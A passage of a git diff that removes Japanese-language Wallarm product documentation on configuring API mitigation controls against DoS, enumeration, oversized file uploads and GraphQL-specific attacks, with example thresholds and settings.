a/docs/latest-ja/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/latest-ja/api-protection/dos-protection.md b/docs/latest-ja/api-protection/dos-protection.md deleted file mode 100644 index 4b2ff27766..0000000000 --- a/docs/latest-ja/api-protection/dos-protection.md +++ /dev/null @@ -1,37 +0,0 @@ -# DoS保護 - -[無制限なリソース消費](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、最も重大なAPIセキュリティリスクの一覧である[OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれています。これは単独でも脅威（過負荷によるサービスの低速化や完全停止）であるうえ、列挙攻撃などさまざまな攻撃タイプの基盤にもなります。単位時間あたりに過剰な数のリクエストを許可することは、これらのリスクの主な原因の1つです。 - -Wallarmは、APIへの過剰なトラフィックを防止するための**DoS protection**[緩和コントロール](../about-wallarm/mitigation-controls-overview.md)を提供します。 - -使用には[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1または[Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1以降が必要です。 - -## 緩和コントロールの作成と適用 - -作業を始める前に: [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration)の記事で、**Scope**、**Scope filters**、**Mitigation mode**の設定方法を把握してください。 - -レート濫用保護を構成するには: - -1. Wallarm Console → Mitigation Controlsに進みます。 -1. Add control → DoS protectionを選択します。 -1. この緩和コントロールを適用する対象のScopeを指定します。 -1. 必要に応じて、Scope filtersで詳細条件を定義します。 -1. 時間間隔あたりのリクエスト数をカウントするためのしきい値を設定します。 -1. Mitigation modeセクションで、しきい値を超えたときに実行するアクションを設定します。 -1. Createをクリックします。 - -## 緩和コントロールの例 - -### セッション単位でリクエストを制限して認証パラメータへのブルートフォース攻撃を防止する - -ユーザーセッションごとに単位時間あたりのリクエスト数を制限することで、保護されたリソースに不正にアクセスする目的で実在のJWTやその他の認証パラメータを探り当てようとするブルートフォース試行を抑止できます。例えば、1つのセッションで60秒あたり10件のリクエストのみを許可するように制限を設定すると、異なるトークン値で多数のリクエストを送って有効なJWTを見つけようとする攻撃者はすぐに上限に達し、そのリクエストはIPアドレスまたはセッションで拒否されます。 - -アプリケーションがhttps://example.com/api/loginエンドポイントでBearer JWTを含むPOSTリクエストを受け付けるとします。このエンドポイントに対して、1つのセッションで60秒あたり10件を超えるリクエストが送信された場合、そのセッションを1時間ブロックしたいとします。このシナリオでは、時間あたりのリクエストを制限する緩和コントロールは次のようになります: - -![DoS protection - JWTの例](../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -## レート制限との違い - -リソース消費を抑え、大量のリクエストを用いた攻撃を防ぐために、本稿で説明したレート濫用保護に加えて、Wallarmは[高度なレート制限](../user-guides/rules/rate-limiting.md)も提供します。 - -レート濫用保護は、IPアドレスまたはセッション単位で攻撃者をブロックします。一方、高度なレート制限は、レートが高すぎる場合に一部のリクエストを遅延（バッファに投入）し、バッファが満杯になると残りを拒否します。レートが通常に戻ると、バッファされたリクエストが配信され、IPアドレスやセッションによるブロックは適用されません。 \ No newline at end of file diff --git a/docs/latest-ja/api-protection/enumeration-attack-protection.md b/docs/latest-ja/api-protection/enumeration-attack-protection.md deleted file mode 100644 index 2d5f9e8e02..0000000000 --- a/docs/latest-ja/api-protection/enumeration-attack-protection.md +++ /dev/null @@ -1,188 +0,0 @@ -# 列挙攻撃の保護 - -Wallarmは、攻撃者にとって高い価値を持つ情報の漏えいを防ぐため、APIを[列挙攻撃](../attacks-vulns-list.md#enumeration-attacks)から保護します。攻撃者は有効なユーザー名やメールアドレス、システムリソースを特定することで、後続攻撃の焦点を大幅に絞り込めます。この偵察フェーズにより、攻撃者は対象システムの理解を深め、脆弱性を発見し、より巧妙で標的化された攻撃を計画できる可能性が高まり、最終的に侵害成功の確率が上がってしまいます。 - -[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1または[Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1以上が必要です。 - -## 緩和コントロール - -Wallarmは、列挙からの保護を構成するための複数の[緩和コントロール](../about-wallarm/mitigation-controls-overview.md)を提供します。どのコントロールを使用するか選択する際は、次を考慮してください。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        コントロール特記事項列挙対象攻撃
        Brute force protection指定した時間枠内に各パラメータで観測されたユニーク値の数をカウントします。passwordBrute force
        BOLA protectionobject ID, user IDBOLA
        Enumeration attack protection任意のパラメータEnum
        Forced browsing protection設定した時間枠内にアクセスされたユニークなエンドポイント数をカウントします。URLsForced browsing
        - -したがって: - -* 非公開URLの列挙を防ぎたい場合は、**Forced browsing protection**コントロールを使用します。 -* 任意のパラメータの列挙を防ぎたい場合は、**Enumeration attack protection**コントロールを使用できます（オールインワンの解決策です）。 -* さまざまな候補を試して有効なパスワードを得ようとする試行を強調表示したい場合は、**Brute force protection**コントロールを使用します。 -* 有効なユーザーIDやオブジェクトIDの列挙を特に強調表示したい場合は、**BOLA protection**コントロールを使用します。 - -!!! info "従来の機能" - 緩和コントロールは、[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションで利用できる高度なツールです。[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションでは、[brute force protection](../admin-en/configuration-guides/protecting-against-bruteforce.md)、[forced browsing protection](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md)、および[BOLA protection](../admin-en/configuration-guides/protecting-against-bola-trigger.md)はトリガーで構成します。 - -## デフォルト保護 - -Wallarmは、列挙保護のための[デフォルト](../about-wallarm/mitigation-controls-overview.md#default-controls)の緩和コントロールを提供します。デフォルトコントロールは複製・編集、または無効化できます。 - - - ---8<-- "../include/mc-subject-to-change.md" - -### Brute force - -**Brute force protection**の[デフォルト](#default-protection)緩和コントロールは、パスワード、OTP、認証コードの列挙の試行を検知するための汎用的な構成を提供し、すべてのトラフィックに対して`Monitoring`[mode](../about-wallarm/mitigation-controls-overview.md#mitigation-mode)で有効化されています。 - -Brute forceのデフォルトコントロールを確認するには、Wallarm Console → **Security Controls** → **Mitigation Controls**の**Brute force protection**セクションで、`Default`ラベルの付いたコントロールを確認します。 - -編集により、アプリケーションの特性、トラフィックパターン、ビジネス状況に合わせてデフォルトコントロールをカスタマイズできます。たとえば、しきい値を調整できます。 - -### BOLA - -**BOLA protection**の[デフォルト](#default-protection)緩和コントロールは、ユーザーID、オブジェクトID、ファイル名の列挙の試行を検知するための汎用的な構成を提供し、すべてのトラフィックに対して`Monitoring`[mode](../about-wallarm/mitigation-controls-overview.md#mitigation-mode)で有効化されています。 - -BOLAのデフォルトコントロールを確認するには、Wallarm Console → **Security Controls** → **Mitigation Controls**の**BOLA protection**セクションで、`Default`ラベルの付いたコントロールを確認します。 - -編集により、アプリケーションの特性、トラフィックパターン、ビジネス状況に合わせてデフォルトコントロールをカスタマイズできます。たとえば、しきい値や列挙対象として追跡するパラメータを調整できます。 - -### 汎用の列挙 - -**Enumeration attack protection**の[デフォルト](#default-protection)緩和コントロールは、次の列挙の試行を検知するための汎用的な構成を提供します。 - -* ユーザー/メールアドレスの列挙 -* SSRF（Server-Side Request Forgery）の列挙 -* User-Agentのローテーション - -これは、すべてのトラフィックに対して`Monitoring`[mode](../about-wallarm/mitigation-controls-overview.md#mitigation-mode)で有効化されています。 - -汎用の列挙に関するデフォルトコントロールを確認するには、Wallarm Console → **Security Controls** → **Mitigation Controls**の**Enumeration attack protection**セクションで、`Default`ラベルの付いたコントロールを確認します。 - -編集により、アプリケーションの特性、トラフィックパターン、ビジネス状況に合わせてデフォルトコントロールをカスタマイズできます。たとえば、しきい値や列挙対象として追跡するパラメータを調整できます。 - -### Forced browsing - -**Forced browsing protection**の[デフォルト](#default-protection)緩和コントロールは、非公開URLの列挙の試行を検知するための汎用的な構成を提供し、すべてのトラフィックに対して`Monitoring`[mode](../about-wallarm/mitigation-controls-overview.md#mitigation-mode)で有効化されています。 - -Forced browsingのデフォルトコントロールを確認するには、Wallarm Console → **Security Controls** → **Mitigation Controls**の**Forced browsing protection**セクションで、`Default`ラベルの付いたコントロールを確認します。 - -編集により、アプリケーションの特性、トラフィックパターン、ビジネス状況に合わせてデフォルトコントロールをカスタマイズできます。たとえば、しきい値や**Scope**を調整できます。 - -## 構成 - -次の手順で列挙からの保護を構成します。 - -* コントロールを適用する**Scope**（エンドポイント、特定のリクエストのみ）を定義します。 -* 列挙の試行を追跡する対象として**Enumerated parameters**を選択します。 -* **Enumeration threshold**を設定します（しきい値を超えるとコントロールが動作します）。 -* Scopeでニーズをすべて満たせない場合は、**Scope filters**を設定します。 -* **Mitigation mode**でアクションを設定します。 - -スコープや詳細条件の設定、列挙対象パラメータの選択には、[正規表現](#regular-expressions)を使用できます。 - -### Scope - -**Scope**は、どのリクエストにコントロールを適用するか（URIやその他のパラメータに基づく）を定義します。ルールにおけるリクエスト条件と同じ要領で構成します。詳細は[こちら](../user-guides/rules/rules.md#configuring)をご覧ください。 - -**Scope**セクションを空のままにすると、緩和コントロールは**すべてのトラフィック**および**すべてのアプリケーション**に適用され、そのようなコントロールはすべての[branches](../about-wallarm/mitigation-controls-overview.md#mitigation-control-branches)に継承されます。 - -### Scope filters - -[Scope](#scope)だけでは要件を満たせない場合、保護メカニズムの対象となるリクエストが満たすべき追加条件を定義できます。 - -条件として、次の値や値パターンを使用できます。 - -* リクエストの組み込みパラメータ（Wallarmフィルタリングノードが処理する各リクエストに含まれるメタ情報の要素） -* **Session context parameters**（**API Sessions**で[重要として定義](../api-sessions/setup.md#session-context)されたパラメータを一覧からすばやく選択）— このセクションの**Add custom**オプションを使用して、現在**API Sessions**に存在しないパラメータをフィルターとして追加できます。その場合、これらのパラメータは**API Sessions**のコンテキストパラメータにも追加されます（非表示。つまり、リクエストに含まれていればセッション詳細で確認できますが、API Sessionの[context parameter configuration](../api-sessions/setup.md#session-context)には表示されません）。 - -!!! info "パフォーマンスに関する注意" - **Scope**の設定はパフォーマンス面で負荷が小さいため、目的を満たせる場合はScopeを優先して使用し、複雑な条件付けが必要な場合のみ**Scope filters**を使用することを推奨します。 - -### Enumerated parameters - -**Enumerated parameters**セクションでは、列挙を監視するパラメータを選択します。正確一致または[regex](#regular-expressions)による一致のいずれかで監視対象のパラメータ群を選択します（1つの緩和コントロール内ではどちらか一方のみ使用できます）。 - -正確一致の場合、**Add custom**オプションを使用して、現在**API Sessions**に[存在しない](../api-sessions/setup.md#session-context)パラメータを列挙対象として追加できます。その場合、これらのパラメータは**API Sessions**のコンテキストパラメータにも追加されます（非表示。つまり、リクエストに含まれていればセッション詳細で確認できますが、API Sessionの[context parameter configuration](../api-sessions/setup.md#session-context)には表示されません）。 - -regexで**Filter by parameter name**と**Filter by parameter value**の両方を指定した場合、それらは組み合わされます（`AND`演算子）。例えば、nameに`(?i)id`、valueに`\d*`を指定すると`userId`パラメータに一致しますが、パラメータ値が数字の組み合わせであるリクエストのみをカウントします。 - -リクエストが[Scope](#scope)と[Scope filters](#scope-filters)を満たし、かつ列挙監視対象パラメータに対してユニーク値を**含む**場合、そのパラメータのカウンタは`+1`されます。 - -### Enumeration threshold - -**Brute force, BOLAおよび汎用の列挙保護** - -これらの保護は、指定した時間枠（秒）内に各[列挙パラメータ](#enumerated-parameters)で観測されたユニーク値の数をカウントします。**Enumerated parameters**に列挙された各パラメータは独立して追跡されます。 - -いずれかのパラメータでしきい値に達すると、Wallarmは[Mitigation mode](#mitigation-mode)に従ってアクションを実行します。 - -**Forced browsing protection** - -この保護は、設定した時間枠（秒）内にアクセスされたユニークなエンドポイント数をカウントします。しきい値に達すると、Wallarmは[Mitigation mode](#mitigation-mode)に従ってアクションを実行します。 - -### Mitigation mode - -いずれかのカウンタがしきい値を超えた場合、選択したアクションが実行されます。 - -* **Monitoring** — 攻撃として記録され、この攻撃に属するリクエストは[API Sessions](../api-sessions/overview.md)で`Brute force`、`Forced browsing`、`BOLA`、または汎用の`Enum`攻撃に属するとマークされますが、リクエストはブロックされません。 -* **Blocking** → **Block IP address** — 攻撃として記録され、この攻撃に属するリクエストはAPI Sessionsで該当攻撃に属するとマークされます。これらのリクエストの送信元IPは、選択した期間、[denylist](../user-guides/ip-lists/overview.md)に追加されます。 - -### 正規表現 - -**Scope**セクションでは[PIRE](../user-guides/rules/rules.md#condition-type-regex)正規表現ライブラリを使用し、詳細条件では[PCRE](https://www.pcre.org/)を使用します。正規表現を使用する際は、次の演算子を使用します。 - -| Operator | 説明 | -| --- | --- | -| ~ (Aa) | 大文字小文字を区別しない正規表現で一致を検索します。 | -| !~ (Aa) | 大文字小文字を区別しない正規表現で一致を除外します。 | -| ~ | 大文字小文字を区別する正規表現で一致を検索します。 | -| !~ | 大文字小文字を区別する正規表現で一致を除外します。 | - -## 例 - -例えば、eコマースの`E-APPC`アプリケーションでは、各ユーザーの注文情報を`/users/*/orders`に保存しているとします。攻撃者は数字のさまざまな組み合わせを試すスクリプトで、注文IDの一覧を取得できる可能性があります。これを防ぐには、各ユーザーアカウント配下に注文を保存するルートに対して、`in minute`に`more than 2 unique values`というカウンタを設定します。これを超えた場合、その活動をオブジェクト（ユーザーの注文）のIDを列挙しようとする試み（BOLA攻撃）としてマークし、送信元IPを1時間ブロックします。 - -そのためには、次のスクリーンショットのように**BOLA protection**の緩和コントロールを構成します。 - -![BOLA保護の緩和コントロール - 例](../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -この例では、パラメータ値のregex`\d*`は「0個以上の数字」を表し、数字で構成されたオブジェクトIDの列挙を試みていることを示します。 - - - -## 検出された攻撃の表示 - -列挙攻撃が[Mitigation mode](#mitigation-mode)に従って検出またはブロックされると、[API Sessions](../api-sessions/exploring.md)セクションに表示されます。 - -![API Sessionsにおける列挙攻撃（Brute force）](../images/user-guides/mitigation-controls/mc-found-attack-in-api-sessions.png) - -該当する攻撃タイプのセッションは**Attack**フィルターで検索できます。必要に応じて、セッション詳細内でもフィルタリングして、列挙攻撃に関連するリクエストのみを表示できます。 \ No newline at end of file diff --git a/docs/latest-ja/api-protection/file-upload-restriction.md b/docs/latest-ja/api-protection/file-upload-restriction.md deleted file mode 100644 index 2b3be41e95..0000000000 --- a/docs/latest-ja/api-protection/file-upload-restriction.md +++ /dev/null @@ -1,125 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# ファイルアップロード制限ポリシー - -[無制限のリソース消費](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、最も重大なAPIセキュリティリスクの一覧である[OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれています。これはそれ自体が脅威（過負荷によるサービスの遅延や完全停止）であるだけでなく、列挙攻撃などさまざまな攻撃の土台にもなります。過大なファイルのアップロードを許容することは、こうしたリスクの一因です。この記事では、Wallarmでファイルアップロード制限を設定する方法を説明します。 - -[設定方法](#configuration-method)として緩和コントロールを使用してファイルアップロード制限を構成すると、コントロール本来の目的（ダウンロードされるファイルの最大サイズの制限）に加えて、特定のリクエストパラメータのサイズを制限して攻撃面を縮小することにも利用できます。例えば、任意のヘッダーの最大サイズを制限するルールを設定できます。この場合、攻撃者がペイロードを押し込む、またはBufferOverflowの悪用を成立させる余地が少なくなります。 - -なお、ファイルサイズのアップロード制限は、Wallarmが提供する[無制限のリソース消費を防止するための施策](#comparison-to-other-measures-for-preventing-unrestricted-resource-consumption)の唯一の手段ではありません。 - -## 設定方法 - -ご契約のサブスクリプションプランに応じて、ファイルアップロード制限の設定方法として次のいずれかが利用できます。 - -* Mitigation controls（[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション）- 緩和コントロールを使用すると、リクエスト全体のサイズだけでなく、特定のパラメータにも上限を設定できます（ルールよりも精密な設定が可能です）。 -* Rules（[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） - -## 緩和コントロールベースの保護 - -[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションの一部として、Wallarmは**File upload restriction policy**という[緩和コントロール](../about-wallarm/mitigation-controls-overview.md)を提供しています。 - -!!! tip "" - 使用には[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0以上が必要で、現時点では[Native Node](../installation/nginx-native-node-internals.md#native-node)ではサポートされていません。 - -この緩和コントロールにより、特定のパラメータのサイズに制限を設定できます（より精密な設定）。簡易に、リクエスト全体に対して設定することもできます。 - -特定のリクエストパラメータのサイズを制限すると、コントロール本来の目的（ダウンロードされるファイルの最大サイズの制限）に加えて、攻撃面を縮小できます。例えば、任意のヘッダーの最大サイズを制限するルールを設定できます。この場合、攻撃者がペイロードを押し込む、またはBufferOverflowの悪用を成立させる余地が少なくなります。 - -### 緩和コントロールの作成と適用 - -!!! info "緩和コントロールの基本情報" - 作業を始める前に: [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration)の記事を参照して、任意の緩和コントロールに対して**Scope**や**Mitigation mode**をどのように設定するかを確認してください。 - -ファイルアップロード制限ポリシーを設定するには: - -1. Wallarm Console → **Mitigation Controls**に進みます。 -1. **Add control** → **File upload restriction policy**を使用します。 -1. 緩和コントロールを適用する**Scope**を記述します。 -1. リクエスト全体または選択したポイントに対して**Size restrictions**を設定します。 -1. **Mitigation mode**セクションで実行するアクションを設定します。 -1. **Add**をクリックします。 - -### 緩和コントロールの例 - -#### 特定のリクエストフィールド経由のファイルアップロードサイズを制限 - -例えば、アプリケーション`application-001`の`/upload`アドレスに対し、POSTリクエストパラメータ`upfile`経由でアップロードされるファイルのサイズを100KBに制限し、超過分はすべてブロックしたいとします。 - -そのためには、次のスクリーンショットのとおり**File upload restriction policy**の緩和コントロールを設定します。 - -![ファイルアップロード制限MC - 例](../images/api-protection/mitigation-controls-file-upload-1.png) - -#### 特定ポイントのサイズ指定によるPUTアップロード制限 - -例えば、アプリケーションの`/put-upload`アドレスに対し、PUTメソッドでリクエストボディに100KBを超えるファイルを含めてアップロードしようとする試行を、ブロックせずに攻撃として記録したいとします。 - -そのためには、次のスクリーンショットのとおり**File upload restriction policy**の緩和コントロールを設定します。 - -![ファイルアップロード制限MC - 例](../images/api-protection/mitigation-controls-file-upload-2.png) - -上記の例では、リクエストポイントの定義における`post`は「リクエストボディ内」を意味するWallarmの[タグ](../user-guides/rules/request-processing.md#metadata)です。 - -#### JSON Base64アップロードの制限 - -例えば、アプリケーションの`/json-upload`アドレスを対象とする場合に限り、リクエストボディのJSONオブジェクト内に100KB以上のBase64エンコードされたファイル文字列をアップロードしようとする試行を、ブロックせずに攻撃として記録したいとします。 - -そのためには、次のスクリーンショットのとおり**File upload restriction policy**の緩和コントロールを設定します。 - -![ファイルアップロード制限MC - 例](../images/api-protection/mitigation-controls-file-upload-3.png) - -上記の例では、リクエストポイントは次のWallarmの[タグ](../user-guides/rules/request-processing.md)の並びで定義されます。 - -* `post` - リクエストボディ内 -* `json_doc` - JSON形式のデータ -* `hash` - 連想配列のキー用 -* `file` - このキーの値 - -#### マルチパートフォームデータのアップロード制限 - -例えば、アプリケーションの`/multipart-upload`アドレスを対象とする場合に限り、ファイルアップロードフィールドを含むHTMLフォームで100KBを超えるファイルを送信しようとする試行を、ブロックせずに攻撃として記録したいとします。通常、この操作のContent-Typeは`multipart/form-data`になります。 - -そのため、この制限を適用するには、次のスクリーンショットのとおり**File upload restriction policy**の緩和コントロールを設定します。 - -![ファイルアップロード制限MC - 例](../images/api-protection/mitigation-controls-file-upload-4.png) - -上記の例では、リクエストポイントは次のWallarmの[タグ](../user-guides/rules/request-processing.md)の並びで定義されます。 - -* `post` - リクエストボディ内 -* `multipart` - Content-Typeが`multipart/form-data`のデータ -* `file` - フォームにより生成される混在コンテンツの「ファイル部分」 - -## ルールベースの保護 - -[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションの一部として、Wallarmは**File upload restriction policy**の[ルール](../user-guides/rules/rules.md)を提供しています。 - -!!! tip "" - 使用には[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0以上が必要で、現時点では[Native Node](../installation/nginx-native-node-internals.md#native-node)ではサポートされていません。 - -**ルールの作成と適用** - ---8<-- "../include/rule-creation-initial-step.md" -1. **Mitigation controls** → **File upload restriction policy**を選択します。 -1. **If request is**で、このルールを適用する対象範囲を[記述](../user-guides/rules/rules.md#configuring)します。 -1. **Size restrictions**でサイズ制限と**Mode**を設定します。 -1. 必要に応じて、制限を適用するリクエストポイントを指定します（指定しない場合、制限はリクエスト全体のサイズに適用されます）。 - - ![ファイルアップロード制限 - ルール](../images/api-protection/rule-file-upload.png) - -1. [ルールのコンパイルとフィルタリングノードへのアップロードが完了する](../user-guides/rules/rules.md#ruleset-lifecycle)まで待ちます。 - -## 検出された攻撃の表示 - -ファイルアップロード制限ポリシーの違反は、**Attacks**および**API Sessions**で[File upload violation](../attacks-vulns-list.md#file-upload-violation)攻撃として表示されます。 - -![ファイルアップロード制限 - 検出された攻撃](../images/api-protection/mitigation-controls-file-upload-detected.png) - -リクエスト詳細内のボタンで**Attacks**ビューと**API Sessions**ビューを切り替えられます。この攻撃タイプの攻撃/セッションは、攻撃タイプフィルターを**File upload violation**に設定すると見つけられます（また、**Attacks**では`file_upload_violation`という[検索タグ](../user-guides/search-and-filters/use-search.md#search-by-attack-type)も使用できます）。 - -## 無制限のリソース消費の防止に向けた他の手段との比較 - -ファイルアップロード制限ポリシーの設定に加えて、Wallarmは無制限のリソース消費を防止するための他の仕組みも提供しています。例えば次のとおりです。 - -* ボットによる無制限のリソース消費の検知とブロック（WallarmのAPI Abuse Prevention。利用には設定が必要です）。 -* [DoS protection](../api-protection/dos-protection.md)の緩和コントロール（利用には[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションが必要です）。 -* [Advanced rate limiting](../user-guides/rules/rate-limiting.md)。 \ No newline at end of file diff --git a/docs/latest-ja/api-protection/graphql-rule.md b/docs/latest-ja/api-protection/graphql-rule.md deleted file mode 100644 index 49ed97eb64..0000000000 --- a/docs/latest-ja/api-protection/graphql-rule.md +++ /dev/null @@ -1,111 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# GraphQL API保護 - -Wallarmは、基本的な[WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションプランでも、GraphQLに対する一般的な攻撃（SQLi、RCE、[など](../attacks-vulns-list.md)）を[デフォルトで](../user-guides/rules/request-processing.md#gql)検出します。しかし、プロトコルの一部の側面により、過度な情報露出やDoSに関連する[GraphQL特有の](../attacks-vulns-list.md#graphql-attacks)攻撃が可能になります。本書では、GraphQLリクエストに対する制限の集合である**GraphQLポリシー**を設定することで、Wallarmを使用してこれらの攻撃からAPIを保護する方法を説明します。 - -拡張保護であるGraphQL API保護は、高度な[API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションプランの一部です。プランを購入したら、**GraphQL API protection**[mitigation control](../about-wallarm/mitigation-controls-overview.md)で組織のGraphQLポリシーを設定して保護を開始します。 - -## サポートされるGraphQLフォーマット - -GraphQLクエリは通常、GraphQLサーバーのエンドポイントに対するHTTP POSTリクエストとして送信されます。リクエストには、サーバーに送信される本文のメディアタイプを指定する`CONTENT-TYPE`ヘッダーが含まれます。`CONTENT-TYPE`として、Wallarmは次をサポートします: - -* 一般的に使用されるオプション: `application/json` と `application/graphql` -* 発生し得るオプション: `text/plain` と `multipart/form-data` - -GraphQLクエリはHTTP GETリクエストとして送信することもあります。この場合、クエリはURLのクエリパラメータとして含まれます。GETリクエストはGraphQLクエリにも使用可能ですが、特に複雑なクエリではPOSTリクエストほど一般的ではありません。これは、GETリクエストが通常は冪等な操作（結果を変えることなく繰り返し可能な操作）に使用され、さらに長さの制限があるため、長いクエリでは問題になり得るためです。 - -WallarmはGraphQLリクエストに対してPOSTおよびGETの両HTTPメソッドをサポートします。 - -## 設定方法 - -サブスクリプションプランに応じて、GraphQL API保護の設定方法として次のいずれかが利用可能です: - -* Mitigation controls（[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） -* Rules（[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション） - -## Mitigation controlベースの保護 - -!!! tip "" - [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.2.0以上が必要で、現時点では[Native Node](../installation/nginx-native-node-internals.md#native-node)ではサポートされていません。 - -### デフォルト保護 - -Wallarmは[デフォルトの](../about-wallarm/mitigation-controls-overview.md#default-controls)**GraphQL API protection** mitigation controlsを提供します。これらにはGraphQL APIの異常を検出するための一般的な設定が含まれており、`Monitoring`[モード](../about-wallarm/mitigation-controls-overview.md#mitigation-mode)で全トラフィックに対して有効です。 - -GraphQLのデフォルトコントロールを確認するには、Wallarm Console → **Security Controls** → **Mitigation Controls**で、**GraphQL API protection**セクションの`Default`ラベル付きコントロールを確認します。 - -デフォルトコントロールは複製や編集、無効化ができます。編集により、アプリケーションの特性、トラフィックパターン、ビジネス文脈に基づいてデフォルトコントロールをカスタマイズできます。例えば、**Scope**を絞ってGraphQL特有のエンドポイントに限定したり、しきい値を調整したりできます。 - - - ---8<-- "../include/mc-subject-to-change.md" - -### Mitigation controlの作成と適用 - -GraphQL向けのmitigation controlは、GraphQL特有のエンドポイントに対して作成することを推奨します。システム全体に対するall trafficのmitigation controlとして作成することは推奨しません。 - -!!! info "mitigation controlに関する一般情報" - 先に進む前に: **Scope**や**Mitigation mode**の設定方法など、あらゆるmitigation controlの基本については[Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration)の記事をご確認ください。 - -GraphQLポリシーを設定して適用するには: - -1. Wallarm Console → **Mitigation Controls**に進みます。 -1. **Add control** → **GraphQL API protection**を使用します。 -1. mitigation controlを適用する**Scope**を記述します。 -1. トラフィックメトリクスに応じてGraphQLリクエストのしきい値を設定します（空欄/未選択のままの場合、その基準による制限は適用されません）: - - * **Maximum total query size in kilobytes** - GraphQLクエリ全体のサイズ上限を設定します。過度に大きなクエリを送信してサーバーリソースを消費させるDoS攻撃を防ぐうえで重要です。 - * **Maximum value size in kilobytes** - GraphQLクエリ内の任意の値（変数またはクエリパラメータ）の最大サイズを設定します。非常に長い文字列の値を変数や引数に入れて送信するExcessive Value Length型の攻撃によるサーバーの過負荷を緩和します。 - * **Maximum query depth** - GraphQLクエリの最大許容ネスト深度を設定します。深いネストを制限することで、悪意ある複雑なクエリによるパフォーマンス低下やリソース枯渇を回避できます。 - * **Maximum number of aliases** - 1つのGraphQLクエリで使用可能なエイリアス数の上限を設定します。エイリアス機能を悪用して過度に複雑なクエリを作るResource ExhaustionやDoS攻撃を防止します。 - * **Maximum batched queries** - 1つのリクエスト内で送信可能なバッチクエリ数の上限を設定します。レート制限などのセキュリティ対策を回避するために複数の操作を1つのリクエストにまとめるバッチング攻撃を阻止するうえで重要です。 - * **Block/register introspection queries** - 有効にすると、スキーマの構造を明らかにし得るイントロスペクションクエリを潜在的な攻撃として扱います。本番でのイントロスペクションの無効化や監視は、スキーマの漏えい防止に有効です。 - * **Block/register debug requests** - 有効にすると、デバッグモードのパラメータを含むリクエストを潜在的な攻撃として扱います。本番でデバッグモードが誤って有効のままになっているケースを検知し、過度なエラーレポートメッセージを通じたバックエンドの機微情報露出を防ぎます。 - - 既定では、ポリシーはPOSTリクエストのクエリサイズ上限を100 KB、値のサイズ上限を10 KB、クエリ深度とバッチクエリの上限を10、エイリアスの上限を5に設定し、さらにイントロスペクションとデバッグクエリを拒否します。スクリーンショットのとおりです（デフォルト値は、一般的な正当なGraphQLクエリの統計を考慮して任意の値に変更できます）: - - ![GraphQLのしきい値](../images/api-protection/mitigation-controls-graphql.png) - -1. **Mitigation mode**セクションで実行するアクションを設定します。 -1. **Add**をクリックします。 - - - -### Mitigation controlの例 - -#### 攻撃をブロックするためのGraphQLエンドポイント向けポリシー設定 - -`example.com/graphql`配下にあるアプリケーションのGraphQLエンドポイントへのリクエストに対して、潜在的な[GraphQL特有の](../attacks-vulns-list.md#graphql-attacks)攻撃をすべてブロックするための制限を設定したいとします。`example.com`のフィルトレーションモードは`monitoring`です。 - -これを行うには: - -1. スクリーンショットのとおりに**GraphQL API protection** mitigation controlを設定します（これらは例の値です。実運用のルールでは、一般的な正当なGraphQLクエリの統計を考慮して独自の値を定義してください）。 - - ![エンドポイント向けGraphQLポリシー](../images/api-protection/mitigation-controls-graphql-1.png) - -1. `example.com`のフィルトレーションモードは`monitoring`ですが、GraphQLエンドポイントでは`block`にしたいので、**Override filtration mode**ルールをスクリーンショットのとおりに構成します: - - ![GraphQLポリシーのブロックアクション](../images/user-guides/rules/graphql-rule-1-action.png) - -#### 特定のエンドポイント向けにポリシーを変更 - -[前述の](#setting-policy-for-your-graphql-endpoints-to-block-attacks)例の続きとして、`example.com/graphql/v2`の子エンドポイントに対して、より厳格な制限を設定したいとします。制限が厳しくなるため、何かをブロックする前に`monitoring`モードでテストする必要があります。 - -これを行うには: - -1. スクリーンショットのとおりに**GraphQL API protection** mitigation controlを設定します（これらは例の値です。実運用のルールでは、一般的な正当なGraphQLクエリの統計を考慮して独自の値を定義してください）。 - - ![子エンドポイントに対するより厳格なGraphQLポリシー](../images/api-protection/mitigation-controls-graphql-2.png) - -1. `example.com/graphql`のフィルトレーションモードは`block`で、`example.com/graphql/v2`では`monitoring`にしたいので、**Override filtration mode**ルールをスクリーンショットのとおりに構成します: - - 